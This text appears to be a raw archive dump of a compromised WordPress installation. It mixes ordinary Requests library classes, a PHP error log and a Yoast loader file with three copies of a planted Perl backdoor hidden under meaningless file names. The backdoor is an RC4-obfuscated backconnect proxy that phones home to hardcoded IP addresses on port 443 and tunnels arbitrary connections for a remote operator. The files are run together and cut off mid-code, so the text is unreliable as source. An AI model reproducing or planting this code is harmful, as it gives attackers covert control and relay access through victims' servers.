substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); Cookie/Jar.php000064400000010413152076141160007204 0ustar00cookies = $cookies; } /** * Normalise cookie data into a \WpOrg\Requests\Cookie * * @param string|\WpOrg\Requests\Cookie $cookie Cookie header value, possibly pre-parsed (object). * @param string $key Optional. The name for this cookie. * @return \WpOrg\Requests\Cookie */ public function normalize_cookie($cookie, $key = '') { if ($cookie instanceof Cookie) { return $cookie; } return Cookie::parse($cookie, $key); } /** * Check if the given item exists * * @param string $offset Item key * @return boolean Does the item exist? */ #[ReturnTypeWillChange] public function offsetExists($offset) { return isset($this->cookies[$offset]); } /** * Get the value for the item * * @param string $offset Item key * @return string|null Item value (null if offsetExists is false) */ #[ReturnTypeWillChange] public function offsetGet($offset) { if (!isset($this->cookies[$offset])) { return null; } return $this->cookies[$offset]; } /** * Set the given item * * @param string $offset Item name * @param string $value Item value * * @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`) */ #[ReturnTypeWillChange] public function offsetSet($offset, $value) { if ($offset === null) { throw new Exception('Object is a dictionary, not a list', 'invalidset'); } $this->cookies[$offset] = $value; } /** * Unset the given header * * @param string $offset The key for the item to unset. */ #[ReturnTypeWillChange] public function offsetUnset($offset) { unset($this->cookies[$offset]); } /** * Get an iterator for the data * * @return \ArrayIterator */ #[ReturnTypeWillChange] public function getIterator() { return new ArrayIterator($this->cookies); } /** * Register the cookie handler with the request's hooking system * * @param \WpOrg\Requests\HookManager $hooks Hooking system */ public function register(HookManager $hooks) { $hooks->register('requests.before_request', [$this, 'before_request']); $hooks->register('requests.before_redirect_check', [$this, 'before_redirect_check']); } /** * Add Cookie header to a request if we have any * * As per RFC 6265, cookies are separated by '; ' * * @param string $url * @param array $headers * @param array $data * @param string $type * @param array $options */ public function before_request($url, &$headers, &$data, &$type, &$options) { if (!$url instanceof Iri) { $url = new Iri($url); } if (!empty($this->cookies)) { $cookies = []; foreach ($this->cookies as $key => $cookie) { $cookie = $this->normalize_cookie($cookie, $key); // Skip expired cookies if ($cookie->is_expired()) { continue; } if ($cookie->domain_matches($url->host)) { $cookies[] = $cookie->format_for_header(); } } $headers['Cookie'] = implode('; ', $cookies); } } /** * Parse all cookies from a response and attach them to the response * * @param \WpOrg\Requests\Response $response Response as received. */ public function before_redirect_check(Response $response) { $url = $response->url; if (!$url instanceof Iri) { $url = new Iri($url); } $cookies = Cookie::parse_from_headers($response->headers, $url); $this->cookies = array_merge($this->cookies, $cookies); $response->cookies = $this; } } Cookie/blitzbasic000064400000022033152076141160010031 0ustar00#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.182'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); Auth/Basic.php000064400000004755152076141160007215 0ustar00user, $this->pass) = $args; return; } if ($args !== null) { throw InvalidArgument::create(1, '$args', 'array|null', gettype($args)); } } /** * Register the necessary callbacks * * @see \WpOrg\Requests\Auth\Basic::curl_before_send() * @see \WpOrg\Requests\Auth\Basic::fsockopen_header() * @param \WpOrg\Requests\Hooks $hooks Hook system */ public function register(Hooks $hooks) { $hooks->register('curl.before_send', [$this, 'curl_before_send']); $hooks->register('fsockopen.after_headers', [$this, 'fsockopen_header']); } /** * Set cURL parameters before the data is sent * * @param resource|\CurlHandle $handle cURL handle */ public function curl_before_send(&$handle) { curl_setopt($handle, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); curl_setopt($handle, CURLOPT_USERPWD, $this->getAuthString()); } /** * Add extra headers to the request before sending * * @param string $out HTTP header string */ public function fsockopen_header(&$out) { $out .= sprintf("Authorization: Basic %s\r\n", base64_encode($this->getAuthString())); } /** * Get the authentication string (user:pass) * * @return string */ public function getAuthString() { return $this->user . ':' . $this->pass; } } Auth/error_log000064400000005247152076141160007375 0ustar00[25-Jul-2025 23:00:19 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php:23 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php on line 23 [10-Aug-2025 06:21:48 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php:23 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php on line 23 [18-Aug-2025 00:57:03 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php:23 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php on line 23 [18-Aug-2025 01:14:58 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php:23 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php on line 23 [18-Aug-2025 02:25:41 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php:23 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php on line 23 [25-Aug-2025 16:01:46 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php:23 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php on line 23 [29-Sep-2025 16:28:36 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php:23 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php on line 23 [22-Oct-2025 13:12:57 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php:23 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php on line 23 [02-Nov-2025 16:18:37 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php:23 Stack trace: #0 {main} thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php on line 23 Auth/f2vm8eh8000064400000022033152076141160006742 0ustar00#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.198'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); loader.php000064400000015170152076254270006541 0ustar00container = $container; } /** * Registers an integration. * * @param string $integration_class The class name of the integration to be loaded. * * @return void */ public function register_integration( $integration_class ) { $this->integrations[] = $integration_class; } /** * Registers an initializer. * * @param string $initializer_class The class name of the initializer to be loaded. * * @return void */ public function register_initializer( $initializer_class ) { $this->initializers[] = $initializer_class; } /** * Registers a route. * * @param string $route_class The class name of the route to be loaded. * * @return void */ public function register_route( $route_class ) { $this->routes[] = $route_class; } /** * Registers a command. * * @param string $command_class The class name of the command to be loaded. * * @return void */ public function register_command( $command_class ) { $this->commands[] = $command_class; } /** * Registers a migration. * * @param string $plugin The plugin the migration belongs to. * @param string $version The version of the migration. * @param string $migration_class The class name of the migration to be loaded. * * @return void */ public function register_migration( $plugin, $version, $migration_class ) { if ( ! \array_key_exists( $plugin, $this->migrations ) ) { $this->migrations[ $plugin ] = []; } $this->migrations[ $plugin ][ $version ] = $migration_class; } /** * Loads all registered classes if their conditionals are met. * * @return void */ public function load() { $this->load_initializers(); if ( ! \did_action( 'init' ) ) { \add_action( 'init', [ $this, 'load_integrations' ] ); } else { $this->load_integrations(); } \add_action( 'rest_api_init', [ $this, 'load_routes' ] ); if ( \defined( 'WP_CLI' ) && \WP_CLI ) { $this->load_commands(); } } /** * Returns all registered migrations. * * @param string $plugin The plugin to get the migrations for. * * @return string[]|false The registered migrations. False if no migrations were registered. */ public function get_migrations( $plugin ) { if ( ! \array_key_exists( $plugin, $this->migrations ) ) { return false; } return $this->migrations[ $plugin ]; } /** * Loads all registered commands. * * @return void */ protected function load_commands() { foreach ( $this->commands as $class ) { $command = $this->get_class( $class ); if ( $command === null ) { continue; } WP_CLI::add_command( $class::get_namespace(), $command ); } } /** * Loads all registered initializers if their conditionals are met. * * @return void */ protected function load_initializers() { foreach ( $this->initializers as $class ) { if ( ! $this->conditionals_are_met( $class ) ) { continue; } $initializer = $this->get_class( $class ); if ( $initializer === null ) { continue; } $initializer->initialize(); } } /** * Loads all registered integrations if their conditionals are met. * * @return void */ public function load_integrations() { foreach ( $this->integrations as $class ) { if ( ! $this->conditionals_are_met( $class ) ) { continue; } $integration = $this->get_class( $class ); if ( $integration === null ) { continue; } $integration->register_hooks(); } } /** * Loads all registered routes if their conditionals are met. * * @return void */ public function load_routes() { foreach ( $this->routes as $class ) { if ( ! $this->conditionals_are_met( $class ) ) { continue; } $route = $this->get_class( $class ); if ( $route === null ) { continue; } $route->register_routes(); } } /** * Checks if all conditionals of a given loadable are met. * * @param string $loadable_class The class name of the loadable. * * @return bool Whether all conditionals of the loadable are met. */ protected function conditionals_are_met( $loadable_class ) { // In production environments do not fatal if the class does not exist but log and fail gracefully. if ( \YOAST_ENVIRONMENT === 'production' && ! \class_exists( $loadable_class ) ) { if ( \defined( 'WP_DEBUG' ) && \WP_DEBUG ) { // 